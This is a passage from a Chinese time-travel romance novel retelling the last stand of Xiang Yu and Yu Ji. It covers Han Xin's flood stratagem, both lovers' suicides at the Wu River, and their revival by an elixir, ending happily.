“神明?”他冷哼,“我没有愿望。” “随便写也好,主要是为了好兆头。”虞苋不满地说道,“我已经写好了愿望,你不写,就我孤零零的放飞天等,都没有伴了。” 项羽颔首:“行吧,勉强陪你。” 虞苋赶紧将沾了墨汁的毛笔递给他:“呐,写吧。” 项羽刚要动笔,疑惑地看着女郎:“你写的是什么愿望?” “不告诉你。”她哼哼道,“被人看见了,就不灵了。” 项羽“哦”了一声。 他转身背对她,说道:“那我也不给你看。” “……小气!” 项羽在天灯的布帛上写了几个字,写的是楚国的文字,她也看不懂,遂作罢,自己拿出火石敲敲,点燃里面的蜡烛。 上面用简体字写着两个字。 活着。 世间若是真的有神明,就让我们,都好好的活着。 项羽写好之后,学着女郎的样子,将灯芯点燃。 只见天灯慢慢飘了起来,往天际飞去。 观星台本就高,暖色的烛光照在人的脸上,驱散了夜晚的寒凉。 项羽看着虞苋双手合十,闭着眼睛,睫毛轻轻颤动,仔细看,能看见脸上细腻的绒毛。 他恍然想起来,初见时,他大她一岁,她缺失的五年时间,如今他大她……六岁? 虞苋睁开眼睛,看见项羽在盯着她看,不由询问:“你看什么?” 项羽拿起酒坛,掩饰地喝酒:“没看什么。” 女郎歪头,指着他,戳穿道:“你在看我。” 说话时笑眯了眼。 他冷哼:“知道还问。” “就问!” 项羽将她捞进自己的怀抱,两人依靠在围栏旁,看着飞得越来越高的天灯,任由风吹着两人的头发纠缠在一起。 虞苋说:“我会永远记得这一天的。” 无眠之夜。 这日之后,战事吃紧,项羽带着虞苋上了前线。 汉军被打得节节败退,全军溃散,楚军乘胜追击,一直追到了汉水。 似乎一切都改变了。 营帐中。 虞苋刚回来,便被一个陌生的士兵拦住了去路,将一封信交给了她。 “谁给我的?” “王后看过了便知。” 说完,那人转身就走,很快就融入在了军营的队伍中。 虞苋想要回想对方的相貌,竟是一点特征都记不住,就好像是人群中最普通的一张脸。 她翻开丝帛,上面写道:“一日内离开军营,不然你会死的。” 是熟悉的字迹,是来自韩信的信件。 不安地情绪,萦绕在她的心间。 她忧心忡忡的走进营帐,项羽还未曾回来,便自己坐在席子上,将布帛摊在案几上。 韩信此言是什么 意思? 此时汉军已经不成气数,再有数日,项羽就能带兵攻入汉地,为何他还有如此自信,还有何手段,能要了在主帅营中,自己的命。 她百思不得其解。 韩信此人,被后人尊称为兵仙,用兵如神,即便武功比不上项羽,其军事成就并不在项羽之下。 虞苋呆坐了一个时辰,项羽回到营帐,她立即就爬起来,迎来上去:“大王,大王,你回来了。” 项羽见她皱着鼻子,脸色不是很好,忍不住说道:“你怎么了?” 她将密信递给项羽,奇怪道:“他让我离开军营,不走就会死,是什么意思?是不是他有什么针对大王的计谋?” 项羽没有接,瞥了一眼,吃味:“他怎么还惦记着你。” “什么惦记?”虞苋将信丢在案几上,自己跪坐好,叹了一口气,“他只是嘴上说喜欢我,实际上他的行动并没有他说的那般的喜欢。” 她瞥了项羽,见他双手抱胸,气压还是很低,继续说道:“这个世界上,只有大王是真心的对我好,我知道的。” 项羽无语:“倒是会表忠心。” 他说道:“不管这密信中所言,是真是假,既然他说你待在军营中会死,明日一早,我就送你离开吧。” 虞苋瞪大了眼睛,脸上气得红通通的:“你说什么,你是要抛弃我了,竟要赶我走,就算明日真的发生了什么,我也不走,我只要和你在一起。” 她委屈道:“这个世界上,我唯一留念的只有你,你不能将我推开。” 项羽挑眉:“还哭上了。” 虞苋一抹眼泪:“没哭。” 项羽解释道:“你看,现在汉军溃逃,成不了什么气候,说不定他故意给你写信,来迷惑你的,不用过于担心。” 她道:“那我更不用走。” 项羽颔首:“那就不走。” 虞苋这才满意了,将信丢进火盆里,直接让火给烧了。 看着布帛被火舌吞噬,女郎的脸色才变好。 不会有事的。 时间已经来了立夏,正是丰水期,汉水湍急,冲刷着江岸,水击打石头的声音,能传到营帐中。 江东人善水,喜水,营帐扎在汉水旁。 汉水,正是汉朝名字的由来,也是汉民族的起源。 不管韩信给虞苋写的信件,究竟是不是他利用她故布疑阵,项羽还是召集了手下的谋士商议对策。 虞苋吃过饭后,则走到河岸旁消食,看着汉水湍湍急流,忍不住叹了一口气。 她正走远了一些,便见到了一个不可能的出现在这里的人。 “韩信。” 韩信身上穿着普通士兵的服装,目光看着她的脸,说道:“不管你信不信,我都没有利用你的心思,明日若你不离开,你会和项羽死在一起。” “那就死在一起。” “你是后世之人,这些年我召集方士,推算出,三年后还有一次机会,你或许能够穿越回到属于你的世界,没有必要为了你眼中的古人,在这里丧失了性命。” “徐福留下来的手札,上面记载了穿越的节点,下一次时机,是五十年之后,不对,现在应该是四十五年之后,你不要哄骗我。” 韩信冷笑:“徐福的话可不一定都是准确的,你不必将他的话奉为圭臬。” 虞苋反驳:“可他的话至少经过了验证,而你的话谁知道是真是假。” 上一次自己就无情的抛弃了项羽,这一次,真的还要去赌一个不确定的三年? 她唾弃自己动摇了瞬间,最后还是不敢去相信。 韩信道:“你就这么喜欢他,喜欢到为了陪他去死?” “对啊。”虞苋瞥了他一眼,“你敢独身出现在这里,还不走,我就叫人了。” 韩信脸上冷酷,手指捏紧,发白,心中难以言喻的痛。 他算来算去,没有算到,她竟然在军中。 明明只要项羽一死,他会得到她,即便她现在不喜欢,未来还有好多年的时间,他们可以慢慢的相处。 一边是天下一统的千秋霸业,一边是心爱的女人…… 见到虞苋就要张口,韩信笑了一下,说道:“好,我走。” 韩信走进树林,女郎立即转身往回跑,到了军营,遇见了桓楚,她抓住他的手,说道:“韩信,我看见韩信了,他往树林里走了。” 桓楚闻言:“他怎么来了!” 虞苋:“不知道啊。” 桓楚立即点人,带人追来上去。 而韩信已经走远了,身边的副将询问:“王上,计划当真不提前,万一出现什么变故。” 他道:“再等等。” 韩信之前本就是项羽麾下的,如此才能扮成小兵混了进来倒也不是难事。 此时看着湍急的汉水,他深吸一口气,说道:“给我准备笔墨,我要写信给项王。” 副将面色担忧:“倘若是项王察觉到王上的计划,汉王怪罪下来该如何是好。” 韩信道:“无碍。” 桓楚已经追了上来,韩信将信绑在箭上,射到了对方身边的树上。 见桓楚将信拿下,韩信才对副将道:“走吧。” 而桓楚果真将信交给了项羽。 信上写道: 若是不想连累她,今夜送她离开。 项羽看着信上的内容,将布帛合上,询问侍卫:“王后她人在哪里?” “回大王,在帐中。” “去叫医工开一副安神汤,煮好后端来给我。” 他看了看天色,夕阳已经落下,还有不到半个时辰天就要黑了。 不管韩信究竟是不是危言耸听,不管他究竟接下来有什么计谋,他都不愿意让女郎再随自己涉险。 医工将安神汤煮好之后,项羽便亲自将药端进了营帐,正看见虞苋手撑着脑袋,用手按摩着太阳穴,他走进来了都没有反应。 项羽挑眉:“听说韩信涉险来找你了。” 虞苋回神,闷声道:“是啊,说了好多的话,听得脑子疼。” 项羽道:“他倒是惦记着你,怕是早恨不得我死,好霸占你。” 她无语:“你胡说什么!” 不过这个世道就是这样的,这些男人会有这种想法,对于如今来说并不稀奇,说出来,不过是摘掉了遮羞布。 若是项羽死了,自己还活着,不知道结局有多凄惨。 项羽坐到她面前,将安神汤递给她:“我担心今日你受了惊,让医工给你熬了一碗养神汤,不要乱想了,今晚睡个好觉。” 虞苋:“不想喝。” 项羽眉头一挑。 她:“好吧,我喝我喝,不要用这么严肃表情看着我。” 项羽冷哼:“喝吧。” 第96章 第96章“好好活着,不必内疚。…… 耳边有潺潺水声。 虞苋瞥了一眼项羽,又瞥了一眼黑糊糊的汤药,却见对方将药递到了面前:“要我喂你喝?” 她道:“不,不用。” 接过汤碗,女郎深吸一口气,将里面的药一口干了。 干完了之后,她扣碗,颔首道:“喝完了!” 项羽颔首:“看见了。” 他摸摸她的脑袋,继续说道:“喝完了,就睡觉吧,明日说不定有一场硬仗要打,得休息好。” 虞苋闻言,点了点头:“好。” 正准备起身往榻上走,肩膀被滚烫炙热的手包裹,止住了脚步。 项羽将她紧紧抱住,哑声说道:“是我对不住你,本不应该去找你,让你和我一起涉险的。倘若是我出了什么意外,你往后好好的生活,忘了我。” “什么?” 虞苋心中突然产生了巨大的恐慌,想要将人推开,浑身却绵软使不上力气,脑袋也晕乎乎的。 很快,眼前漆黑,什么都看不见了。 项羽将她抱起,放平在榻上,将黎晟叫了进来:“让你准备的东西准备好了吗?” 黎晟稽首:“一切都已经办妥。” 项羽看着灯下的美人,手眷念的捧着她的脸,深吸一口气:“将她送走,切记,不要让她回头。” 黎晟:“喏。” 项羽将女郎抱了起来,送到 了马车上,马车里铺了柔软的被子,再颠簸的路都不会伤到她,可见其珍视。 他道:“好好照顾她。” 黎晟带着百来精兵,与黎万里一起送虞苋远离了汉水,星月离开。 虞苋脑袋是清醒的,可是身体动不了,心中难受极了,眼泪顺着脸颊话落,氲湿了被子。 这一刻,她才明白,原来被抛弃,是何种的感觉。 心口堵得慌。 而虞苋刚被送走没多久,韩信便已经看见了。 韩信回头,看着滔滔汉水,说道:“水,乃万物之灵,时而温润,时而波涛汹涌,人能驯服它,它也能杀人。” 他道:“开始吧。” 上游决堤,庄稼、房屋,就像是干草一样脆弱,直接被洪水撕碎。 人在洪水面前,显得如此的渺小。 即便楚人善水战,在洪水的冲击下,十几万大军,都被洪水给冲散了。 这是真正的溃不成军。 项羽带着亲兵突围,到了一处山顶,最后只集结了八百勇士。 桓楚骂道:“当年就应该将韩信给一刀给砍了,如此小人,山洪爆发,要死多少人,此计歹毒至极!” 够狠。 项羽站在山顶,看着浑浊的洪水,人在里面哀嚎,又被卷入水底消失无踪。 “我们中计了。”他淡淡道,“对方假装败逃,引诱我们深入,借山洪之水来冲散我军,本就是他们计划中的一环。” 桓楚道:“可是他们怎么能,怎么能如此行事!果真是个背信弃义的小人,小人行径!” 时人讲究一个“义”字,就算是项羽手下的谋士都没有想过,刘邦和韩信竟然如此狠毒,行此毒计。 “计谋虽毒,却有用。”项羽将剑出鞘,用手帕将剑身擦拭,“今日之仇,今日得报。” 他早就从虞苋的口中,得知了自己的结局,对此倒是并不意外。 可项羽并不服气,要是堂堂正正的对决,对方绝非是自己的对手。 项王的目光移向了自己身边的精锐,声音冷厉:“诸位,可要与我一同复仇,就算只有八百人,我等也能将汉军杀穿!有没有信心!” “有!” 楚军本就善水战,项羽将八百人分成十六队,让队率统领,在山林中边打边退,数次击退汉军的进攻。 山洪爆发之后,天开始下雨。 春夏本就雨水多,暴雨倾盆,即使是白日,天也是黑漆漆的。 山林作战,更为凶险。 随着战况越烈,楚军回去咸阳的关卡被堵住了,只能南下退走。 鏖战了三天三夜,项羽却发现,自己最终被逼到了九里山,到了垓下,身边的亲卫打得只剩下十几人。 刘邦、韩信,都在此地等着了。 项羽感叹了一句:“倒是应了当初的那句谶言。” 此刻便只有两个选择。 一,过江。 回去江东,刘邦中年起事,他现在还年轻,卷土重来未可知。 二,鏖战至死。 项羽看中自己的剑锋,上面还流淌着鲜红的血,正滴落在地上,汇聚血水之中。 周围全部都是尸体。 他身上穿着玄衣,黑漆漆的,看不见身上究竟沾了多少的血,站在尸山血海之中,就像是地狱来的恶魔。 到底杀了多少人,自己也数不清楚了,反正是很多很多的人。 刘邦站在战车上,前面围了一排一排的士兵,将他包得严严实实,眯眼看着仅十几人的队伍,竟然感觉到心生胆寒。 他感叹:“到底是西楚霸王。” 若非是泄了山洪,将楚军冲散了,他如何是项羽的对手。 总归是胜之不武。 项羽身边的亲卫劝道: “项王,过江吧,我们拦着汉军,等你回到江东,再来为我们报仇!” “对啊,项王,过江吧!” 项羽看着染成红色的江水,看着前面拼死抵挡的兄弟,说道:“你知道什么是江山,什么是社稷吗?” 他声音冷淡:“我以前也不知道什么是江山社稷,最近才明白,江山社稷,江山是百姓,社稷是百姓。” “当初与叔父起义,为的就是一个‘义’字,如今暴秦已经被灭,本该百废待兴,让百姓过上安定的生活,而今却因我与刘邦之间的战争,让百姓流离,倒是失去了起义的初衷了。” “倘若我今日渡江,明日卷土重来,即便江东的父老乡亲愿意追随我,战乱的日子还要持续多久呢。” “这一战,即是决战,要么生,要么死。”项羽扫视身边的亲卫,说道,“吾,宁可战死,绝不渡江。” 亲卫噤声片刻。 桓楚道:“绝不能让人看轻了江东子弟,宁可死战,也绝不可跪着生。” “死战死战!” “冲啊!” 十数人,竟有千军万马之势,再次朝着汉军阵型冲来。 在以士兵围成的铜墙铁壁中,韩信骑在马上,垂眸看着被绑住手脚,动弹不得的女郎,冷声说道:“虞后,你跑回来,不仅救不了他,还会亲眼看着他在你眼前惨死。” 虞苋嗓子是哑的,声音艰难的发出来:“那又怎么样,他死了,我陪着他死。” 韩信气笑了:“你要殉情?” 她闭眼,没在说话。 历史啊历史,你是多么的无情,为何自己更改了那么多的细节,最终还是回归到了原有的结局。 她的心在跳动,手脚却是冷的。 一向爱哭的女郎,此时面上竟然古井无波,看不出有任何的情绪波动。 乌云压境,大雨又在下了,天公不作美。 血水冲刷着地面,没有一处不是红的,空气中弥漫着血腥味。 遍地都是残肢断臂,尸体堆成了一座座的小山,人间炼狱不过如此。 雨中。 韩信拿着伞挡在女郎的头顶,不让她被雨水淋湿,而目光却紧紧的盯着项羽的身影。 太强了。 迎战的士兵,就像是路边的草芥,在他的剑下,走不过半招就已经命丧黄泉。 十个,百个。 一轮一轮的冲锋,有人死了,有人残了,战场上遍布哀嚎。 而项羽,身上除了沾上了血,甚至无人能伤到他分毫。 甚至…… 桓楚被汉军包围,连杀数人,不慎漏出了破绽,最后被长枪穿过身体而死。 他身边最后一个将领,最终随着他战死了。 宁死不降。 项羽已经杀红了眼睛,却还是没有半分的颓势。 他一个,就是千军万马,一人,就能抵挡的万军。 张良跟刘邦道:“项王勇猛,若是让他逃回江东,下次再想杀他,可就难了。” 刘邦摸着胡子,微眯着眼睛:“我了解他,他年轻气盛,心中有侠气,今日他既然不退,便不会过江,他已存有死志。” 张良:“难道就这么僵持着吗?” 刘邦看向萧何,询问:“听说韩信原本是想要放过虞后,虞后自己又回来了,可有此事啊?” 萧何不敢隐瞒:“确有其事。” 他吩咐道:“让韩信将人带上来,有虞后在,不愁他不束手就擒。” 人人都知道,霸王项羽,是个情种。 萧何闻言,朝着刘邦稽首,骑马到了韩信的身边,在他身边耳语了几句。 韩信沉默。 萧何道:“项王勇猛,力大无穷,你睁眼看看,他此时的气势,就像是索命亡魂,单他一人,再杀个几进几出都不成问题,放心,此为计谋,有你在,谁又能要了虞后的命。” 韩信没有说话,见士兵要将女郎推出去,长枪将人拦住:“我亲自来。” 虞苋耳朵不聋,自是清楚他们的打算。 她刚才之所有没有出声,就是不想让项羽知道自己在韩信手中,怕自己的出现会扰乱了项羽战意。 此时闻言,女郎原本冷淡的面容,顿时出现了怒意:“你们杀不死大王,就用一个女人逼迫,真是丢人现眼。” 韩信道:“项王是英雄,而我不是。” 他下马捏着虞苋的脸,眼尾已经红透:“我早就说过了,你不应该回来。” 虞苋冷哼:“不就是一死。” 在得知自己杀不了刘 邦的时候,虞苋就已经知道了,她早就走到了绝路,此时不过是验证了而已。 同样的,项羽找来会稽之时,她亦清楚了自己的心。既然成为了他的王后,便不会抛下他独活。 韩信闭眼:“走吧。” 盾兵让开了一条道,韩信推着虞苋走到了阵前。 项羽将面前的士兵斩杀殆尽,脸上被溅了血,大雨又将血水冲刷干净。 抬眸时,与远处的女郎对视,重瞳闪烁。 他站定,语气森冷:“放了她。” 韩信说:“项王,你是勇猛无双,天下诸君有谁不忌惮你,只有你死了,为了她而甘愿受死,汉王才会饶恕她的性命。” 虞苋没有开口,眼神哀伤的看着他。 项羽道:“我可以死。” 他手中持剑,重瞳落在女郎身上,即便大雨瓢泼,身上并未被雨淋,显然韩信爱她深重。 有韩信的照拂,她会活得很好。 那就够了。 项羽盯着虞苋缓缓说道:“我可以死,不过我要说的是,我不是为了一个女人而死,是为了天下的黎民百姓不再饱受战火而死,跟这个女人没有任何的关系。” 他将剑搭在脖子上,最后看了一眼天地山川,对着女郎说道:“好好活着,不必内疚。” 虞苋手脚都被定住了,眼睁睁看着锋利的剑刃划破了皮肉。 在他背后,是汹涌的乌江水,将军矗立在战场,就像是山间的松柏。 远处似有歌声传来,哀泣婉转: “玄衣兮染血,羌声兮哀丝。美人兮泪涟涟,将军兮弃原野,骤雨兮冲横波,乘舟兮唤归魂……” 【全文完结】 第97章 第97章“长生药真能…… 一代风流人物,天下雄主,就在这样一个大雨之日,以自刎结束了自己的性命。 他就站在那里,尸体残留的气势,竟无人敢上前。 刘邦扶着战车围栏,对着身边的张良和萧何惊疑地问:“项王,死了吗?” 张良道:“大抵是死了。” 刘邦又问:“为何他还不倒下?” 无言。 他又感叹了一句:“项王乃是真英雄也。” 雨幕让人的眼前变得模糊,虞苋冷静对韩信说道:“项王已经死了,万军将我包围,你还要用绳索绑着我吗?” 韩信垂眸:“虞后,对不住。” “大王已经自戕,我不再是什么虞后。”她语气带着自嘲,“韩信,我现在只是没有价值的,任人宰割的阶下囚,你在害怕什么?” 她声音很淡:“我只想再抱抱他,仅此而已。” 韩信深深地看了虞苋一眼,让人将她手上的绳索给解开了。 虞苋被松了手,立即将头上的伞给推开,任由雨水拍打在自己的身上,淋湿了身上的衣裳。 脸上全是水,于是她流泪,别人也发现不了。 女郎走向了项羽。 韩信跟在后面,士兵不敢乱动。 就在无数双眼睛中,虞苋走到了项羽面前,她捧着他的脸,感觉到一些温热,身体的热量在渐渐流失。 他闭着眼睛,双手撑着剑,就这样站着,高大的身躯此时依旧高大,只是他再也不是她的避风港。 虞苋吸了吸鼻子,声音哽咽:“大王,就在两年多前,我始终觉得自己是一个极度自私自利的人,父母失败的爱情,让我觉得我不会爱上任何一个男人,我警惕着所有想要以爱之名诓骗我之人,始终贯彻着以自己为先。” 她顿了顿:“当我得知,我可能是被记在历史中的虞姬之时,我甚至觉得可笑,我生性薄凉,怎么会为了一个男人殉情。” “可是大王,你知道人这一辈子,最怕的是什么吗?是寂寞。在这个世界,我感觉到处处陌生,甚至没有遇见灵魂共鸣的人。” “好在你对我很好,我渐渐喜欢上了你,将你当在我活在这个世界上的情感寄托。” “你不要觉得我蠢,将性命寄托在别人身上,其实我也不想的,我想过要回家的,想着将大王的对手干掉,便能长长久久的活着。” “可是。” “每一条路都失败了,都是死路。” “你看,我早就告诉你了,我会和你死在一起的,你为什么不听,还让黎晟送我走。是不是上次我抛弃了你,你也要让我也尝一尝失去你的痛苦?大王,你的报复心怎么这么重呢?” 可是不管她在怎么说,对方都不会回应了。 雨水冲刷在项羽的脸上,水从睫毛下像是细线一样滴落,冷峻的脸上全是水珠。 如此的英俊。 他的尸体,不应该被汉军为了战功进行抢夺,而被分尸。 虞苋抹掉了脸上的雨水和泪水,转身看向刘邦,语气淡漠,声音却越发的沙哑:“汉王,无论是鸿门宴上,还是鸿沟议和,项王本都可以杀了你,甚至,今日若非他不愿再让百姓再陷入战乱之苦,他也本可以渡江,再与你争夺天下,可他既没有杀你,也没有渡江,你应该知道这是因为什么。” 刘邦看着站在项羽身边的女郎。 她身形单薄,眼神却很凌厉,直看到了他的心底。 刘邦坦然承认:“的确如此。” 虞苋毫不犹豫地跪在地上俯拜,头直直磕在地上,继续说道:“我知道战场上,敌军首领的身体,就是最大的战功,今日项王自刎而亡,请汉王看在他数次及时收手的份上,请不要伤害他的身体。” 刘邦沉默了片刻。 “可。” 女郎一笑:“多谢汉王。” 她走到了项羽的身边,抱了抱他,语气很冷:“死去的人无知无觉,只有活着的人痛苦,项籍,我早就跟你说过了,我受不了情伤,别想推开我了。” 韩信察觉不妙,正要阻止。 美人捡起地上的剑,雨水顺着剑刃往下流,她利落的插进了自己的心口。 “虞后!” 虞苋没有回头看韩信一眼,其实身体没有感觉到有多疼,就是血在往外流,皮肤上的体温被水带着流逝。 她跌落在地,眼神空洞地望着天空,闪电和雷声随之而来。 人死债销,过往恩怨如烟,一切都会过去的。 这个夏天,将是最后一个夏天,就此长眠好了。 殉情是一个古老的传说,并不是一个美好的传说。 珍重。 …… 刘邦又重新回到了咸阳宫,得知了虞苋当初留下来的未尽之事。 一是造纸术,二是棉花培育。 二者都有利于民,于是决定将这两件事,继续让人研究下去。 回到宫中,与吕雉说起此事,他感叹道:“虞后,倒是始终没有忘记民生,可惜,她性子刚烈,已经随项王去了。” 吕雉想到那样的绝色的女子,待到繁华落幕,败者,终成闲者往来时的故事传说。 项羽和虞苋的尸体是项伯帮忙收殓的,作为项氏族人,葬礼也将由他来操办。 两人的葬礼不宜大力操办,皆从简,只是在夜半时分来了一个不速之客。 她穿着青衣,头上带着帷幕,身后背着一把剑,开口即说道:“项伯,不,现在该叫你刘伯了,我受项王所托,请将二人的尸体给我吧。”项伯接受了刘邦的赐姓,改为姓刘。 来人是许负。 项伯自是认识她的,冷笑一声:“项王和虞后是我项氏之人,决不能将他们的尸体交给你一个外人!” 许负道:“你对项王和虞后,竟是没有半分的愧疚吗?” 项伯脸色青黑。 许负拿出一封信件,语气淡淡地道:“五年前,虞后失踪,我便跟项王请辞,离开了咸阳,去各地游历,远离红尘是非。前段时间,项王将这封信交于我,若是他遇到不测,便请我帮忙选择一个合适的地址,为他安葬。” 项伯接过信件,见上面字迹果真是项羽的,顿时找不到反驳之言。 许负说道:“有项王临终前的遗言,难道你还要阻止我不成?” 项伯看着信件,良久,叹了一口气:“好,可以将二人尸身给你,不过不可声张,就当他们二人,便是由我安葬的。” 许负稽首:“多谢刘伯。” 星夜。 两具棺材被秘密送出了城。 至于韩信。 他站在城门口远眺,就和那一夜一样,站在高台远送着心爱的人离开。 许负远远朝着他稽首:“多谢。” 韩信颔首。 直到车队远处,他感觉自己的心好像空了一块。 或许缺失的地方经年后会自愈,或许永远都带着伤痛思念着故人。 …… “玄衣兮染血,羌声兮哀丝。美人兮泪涟涟,将军兮弃原野。骤雨兮冲横波,乘舟兮唤归魂……” 怎么又是这句歌谣…… 荒凉的战场上,尸骨遍野,年轻的将军在倾盆大雨下,手持长剑,毫不犹豫地割破了自己喉咙鲜血飞溅。 “不要——” 虞苋感觉自己似乎飘在云端,只能眼睁睁的看着悲剧发生,她艰张嘴出声,整个人又瞬间坠入了地底。 紧接着,女郎浑身一颤,立即弹坐起来。 眼前是强烈的白光,分外刺眼,让她不得不适应好一会儿。 是一间竹屋,摆设简单,房间空荡荡的,没有人。 还活着? 她摸摸自己的胸口,上面的剑伤已经愈 合,留下了一刀浅浅的伤疤。 这样都没死吗? 虞苋的腿脚因为长时间躺着,手脚有些麻木,身上没有什么力气,她艰难的扶着墙壁,挪到了房间的外面。 眼前是小山、河流,天上的日头很烈,炙热的烤着大地。 想到项羽,自己的夫君,她心一痛。 为何自己还没有死,难不成真的是报应,上次她抛弃了他,终于轮到她在往后的日子里,带着对他的思念独活? 眼泪又不自觉地流了下来。 “怎么哭了?” 有一人从远处走来,身形高大,手里拿着一个碗,长得还有些眼熟。 “大,大王?” 虞苋一抹眼泪,不知打哪里来的力气,起身奔向了对方。 直到双手搂着了他的腰,结结实实的抱了个满怀,甚至撞得自己的鼻子生疼。 她哽咽:“呜呜呜,大王,大王,你也没死,呜呜呜,太好了,呜呜呜……” 项羽拿着刚熬好的米汤,见女郎哭得惨兮兮的,手正要摸摸她脑袋,又想到她竟然敢殉情,立即收回手,语气格外冷淡:“醒了正好,先喝点东西,垫垫肚子。” 虞苋舍不得松手,害怕这一切都是一场梦,英姿勃发的西楚霸王已经在乌江自刎了,眼前的人,只是自己神智失常出现的幻觉。 她吸了吸鼻子,呐呐道:“大王,这真不是梦吗?” 项羽冷着一张脸,见她一脸无措,直接将她给提进了房间,语气亦是生硬:“待会给你解释。” “嗯?” “嗯什么嗯。” 虞苋直接被放在了榻上,眼泪汪汪,欲言又止,总觉得如今就算是梦,定然也是一场美梦。 不过自己是受虐狂吗?在自己的梦中,这人怎么这么凶的。 项羽喂她喝米汤,见她呆呆的,冷哼道:“我倒是不知道,我夫人对我情深意切,竟然真的为了我殉情。” “殉情?”虞苋恍然,“你冷着一张脸,是因为这件事在生气?” 项羽冷哼:“我不该生气吗?” 她皱眉:“当然不应该!你死了,我自是不能独活。” 说着,虞苋又设想了一下只有自己活着的下场,委屈道:“要是我独活,或许就成了韩信的小妾,一边伺候他,一边怀念死了的你,多可怕,我不要。” 项羽:“……” 什么话? 他无奈道:“下次不准做傻事了。” 她努嘴:“才不是傻事。” 虞苋喝了一口米汤,见他不说话了,又忍不住询问:“大王,我们是,都在好好活着吗?” 他点头:“是,活着。” 虞苋眼睛顿时睁大,伸手摸摸对方的脸,是温热的,又掐了自己的大腿,很痛:“莫不是那日在观星台放飞的天灯,神明听到了我的许愿,于是把我们都给救活了?” 项羽冷哼:“哪里有什么神明,是许相师救了我们。” 虞苋不理解:“可是,可是,明明人都死透了,她怎么救的?简直是神迹!” 项羽倒是没有隐瞒,缓声解释道:“你还记得当年刘邦献上来的长生药吗?” “记得。” “当年你离开之后,许负跟我辞行时,问我要走了长生药,在她周游各地的数年的时间,一直在研究这长生药的功效,经过她的改良,此药便有了起死回生的效果。” “这么厉害!” 项羽语气淡淡道:“得知你我二人死亡的消息,许相师赶到了江东,在叔父准备将棺材下葬之时,伪造了书信让叔父将尸体交给了她,而她寻了这处地方,又将长生药化水为你我服用。” 虞苋抚掌:“于是我们就活了?” 项羽颔首:“大抵是这样的。” 所以这不是梦,不是幻想,一切都是真的。 她还活着,爱的人也还活着。 虞苋再次回神:“那许相师呢?” 他道:“她说与我们缘分已尽,准备去讨好刘邦,混个官当当,以后也不必去找她了。” 危机解除,女郎又重新扑到项羽的怀中,眼泪汪汪,哭得好不可怜:“大王,我真的以为,还以为再也见不到你了,呜呜呜……” 项羽捏着她的后颈:“好了,别哭了。” 日光斜照进房间,斑驳的光打在两人的身上,晃眼得很。 两人都活着。 真好。 虞苋哭了一会儿,又突然抬头,询问:“对了大王,如今你活着,还会回去江东,重新整兵去攻打刘邦吗?” “不会。” 他冷淡道:“我说过,之所以不渡江,就是不想再起纷争,那场战役,即是我与他的决战。” 虞苋眨巴眨巴眼睛,嘴角怎么也压不下去了:“那我们是不是可以过普通人的生活了。” 项羽颔首,一脸矜持:“是的,夫人。” 女朗说:“听说大王起事前是游侠,我还遗憾自己不能早点认识你,如今无事,我们就可以仗剑走天涯,去南越、去草原、去沙漠,去周游列国,可好?” 眼睛亮亮的。 项羽:“好。” 说着她又有些苦恼:“可是周游列国要钱,我们现在是不是成了穷光蛋了?” 项羽挑眉,轻笑:“你真当我打了那么年仗,就没留有后手吗?在天下各处我都藏有财宝,如今我只要养你一个,那些钱足够了。” “真的吗?” “真的。” “大王真的太有远见了!” 虞苋眷念的蹭了蹭项羽,蹭蹭之后嘴巴有点干燥,忍不住转头偷偷亲了男人的侧脸,一触即离。 项羽捏着她的脸,眼神微眯,冷声道:“就这?” “嗯?” 他低头,含住了女郎红润的嘴唇,含糊道:“这样才对。” 在唇齿缠绵之间,女郎含糊地问:“对了,长生药真能让人长生吗?” “不知道,或许吧。” ——全文完——